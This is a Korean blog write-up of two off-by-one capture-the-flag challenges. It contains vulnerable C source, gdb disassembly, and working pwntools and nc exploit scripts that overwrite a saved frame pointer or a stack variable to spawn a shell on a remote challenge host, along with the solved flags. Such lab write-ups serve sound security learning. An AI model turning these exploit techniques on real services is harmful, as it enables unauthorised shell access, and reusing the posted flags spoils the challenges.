전재윤_ 2020. 5. 30. 17:17

필요 개념

strcpy 함수란?

문자열을 복사하는 함수

헤더파일: <string.h>

함수원형: char*strcpy(char* dest, const char* origin);

 

간단한 사용법

char orgin[] = "Apple"

char dest[100];

strcpy(dest, orgin);

=> orgin에 있는 문자열 전체를 dest로 복사함

 

strcpy 함수 사용시 주의할 점

strcpy는 문자열 끝(='\0') 까지 복사 ->char*, char[] 타입의 문자열 끝에 있는 '\0'을 복사하는 것

->이 특성을 이용하는 공격방식이 off by one 이다.

 

leave명령

mov esp, ebp

pop ebp

 

인스터럭션이 leave로 통합되어있다.

ebp는 esp로 옮겨질것이다. 그리고 ebp는 pop될것이다. 

 

아래는 off by one 공격 예시다

1번에서 사용되는 개념과 비슷하다

https://s0ngsari.tistory.com/entry/Offbyone

 

Off-by-one

Off-by-one 다음 코드를 보자 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include int overflow(char *x) { char buf[1024]; strcpy(buf,x); printf("%s\r\n",buf); } int main(int argc,char *argv[]..

s0ngsari.tistory.com

 

https://blockdmask.tistory.com/348

 

[C언어/C++] strcpy, strncpy 함수(문자열 복사)에 대해서

안녕하세요. BlockDMask 입니다. 오늘은 C 스타일의 문자열인 char*, char[] 타입의 문자열을 복사하는 함수 두가지에 대해서 알아 볼 것 입니다. 두 함수는 바로 strcpy, strncpy 입니다. 이 두함수가 무슨 �

blockdmask.tistory.com

1. off_by_one_000

<본문 코드>

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char cp_name[256]; 

void get_shell()
{
    system("/bin/sh");
}

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int cpy()
{
    char real_name[256];
    strcpy(real_name, cp_name); // 공격할 부분
    return 0;
}

int main()
{
    initialize();
    printf("Name: ");
    read(0, cp_name, sizeof(cp_name));

    cpy();

    printf("Name: %s", cp_name);

    return 0;
}

 

<gdb-peda를 이용한 분석>

 

disas main 입력

Dump of assembler code for function main:
   0x08048670 <+0>:     push   ebp
   0x08048671 <+1>:     mov    ebp,esp
   0x08048673 <+3>:     call   0x8048605 <initialize>
   0x08048678 <+8>:     push   0x8048751
   0x0804867d <+13>:    call   0x8048440 <printf@plt>
   0x08048682 <+18>:    add    esp,0x4
   0x08048685 <+21>:    push   0x100
   0x0804868a <+26>:    push   0x804a060
   0x0804868f <+31>:    push   0x0
   0x08048691 <+33>:    call   0x8048430 <read@plt>
   0x08048696 <+38>:    add    esp,0xc
   0x08048699 <+41>:    call   0x804864c <cpy>
   0x0804869e <+46>:    push   0x804a060
   0x080486a3 <+51>:    push   0x8048758
   0x080486a8 <+56>:    call   0x8048440 <printf@plt>
   0x080486ad <+61>:    add    esp,0x8
   0x080486b0 <+64>:    mov    eax,0x0
   0x080486b5 <+69>:    leave  
   0x080486b6 <+70>:    ret    
End of assembler dump.

disas cpy 입력

Dump of assembler code for function cpy:
   0x0804864c <+0>:     push   ebp
   0x0804864d <+1>:     mov    ebp,esp
   0x0804864f <+3>:     sub    esp,0x100
   0x08048655 <+9>:     push   0x804a060
   0x0804865a <+14>:    lea    eax,[ebp-0x100]
   0x08048660 <+20>:    push   eax
   0x08048661 <+21>:    call   0x8048470 <strcpy@plt>
   0x08048666 <+26>:    add    esp,0x8
   0x08048669 <+29>:    mov    eax,0x0
   0x0804866e <+34>:    leave  
   0x0804866f <+35>:    ret    
End of assembler dump.

 

호출을 하고나서 리턴이 되기전에 ebp는 돌아가기 위해 주소를 가지고 있다. 하지만 이 주소를 바꿔 ret 명령을 실행하면 esp는 조작된 값으로 변경될 것이다.

 

b*0x804864c를 입력해 브레이크포인트를 걸어줌

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa (a 256번) 입력

ni로 leave 값까지 진행

 

EBP: 0xffffd230 --> 0xffffd200 ('a' <repeats 48 times>)
ESP: 0xffffd130

 

x/x 0xffffd200

0xffffd200: 0x61616161 =>aaaa

 

한 번더 ni을 실행시키면

EBP:0xffffd200 ('a' <repeats 48 times>)
ESP: 0xffffd234 --> 0x804869e (<main+46>:       push   0x804a060)

ebp값에 aaaa문자열이 들어간 것을 확인할 수 있다.

 

buf(256) + sfp(4) +ret 의 sfp부분에 aaaa가 들어간 것이다.

 

이제 aaaa대신에 get_shell의 주소를 입력넣어주면 된다.

 

disas get_shell 입력

Dump of assembler code for function get_shell:
   0x080485db <+0>:     push   ebp
   0x080485dc <+1>:     mov    ebp,esp
   0x080485de <+3>:     push   0x8048740
   0x080485e3 <+8>:     call   0x8048490 <system@plt>
   0x080485e8 <+13>:    add    esp,0x4
   0x080485eb <+16>:    nop
   0x080485ec <+17>:    leave  
   0x080485ed <+18>:    ret    
End of assembler dump.

 

from pwn import*
p = remote ("[주소]", [port 번호])

get_shell = 0x80485db
payload = p32(get_shell)*64 ->의미: (4)*64=256
p.sendline(payload)
p.interactive()

 

cat flag를 입력하면 답을 얻을 수 있음

DH{fef043d0dbe030d01756c23b78a660ae}

 

해결!!

 

해설 보니깐 1byte overflow라고 설명하고 있어서 찾아봤다.

https://d4m0n.tistory.com/76

 

SFP Overflow

SFP Overflow란? 이번 글에서는 SFP(Stack Frame Pointer) Overflow, FPO(Frame Pointer Overwrite), 1 Byte Overflow라고도 불리는 공격 기법을 알아볼 것이다. SFP Overflow는 단 한 바이트 만으로 IP(Instructi..

d4m0n.tistory.com

2. off_by_one_001

<본문 코드>

#include <stdio.h>                                                                     
#include <stdlib.h>                                                                    
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_str(char *ptr, int size)
{
    int len;
    len = read(0, ptr, size);
    printf("%d", len);
    ptr[len] = '\0';
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char name[20];
    int age = 1;

    initialize();

    printf("Name: ");
    read_str(name, 20);

    printf("Are you baby?");

    if (age == 0)
    {
        get_shell();
    }
    else
    {
        printf("Ok, chance: \n");
        read(0, name, 20);
    }

    return 0;
}

 

a를 20번 입력하면 read_str() 함수에서 문자열 마지막에 '\0'를 삽입하는 과정에서 ptr 배열의 마지막 인자가 아닌 +1의 위치에 '\0'을 삽입

따라서 main 함수 내 변수 age의 값이 0으로 바뀜 -> get_shell() 실행

 

sol1) nc 사용

(python -c 'print "a"*20' ; cat) | nc [주소] [PORT 번호]

 

sol2)

from pwn import* 
p = remote ("[주소]", [port 번호])

payload='a'*20
p.recvuntil(": ")
p.sendline(payload)
p.interactive()

 

cat flag입력

DH{343bab3ef81db6f26ee5f1362942cd79}

 

해결!!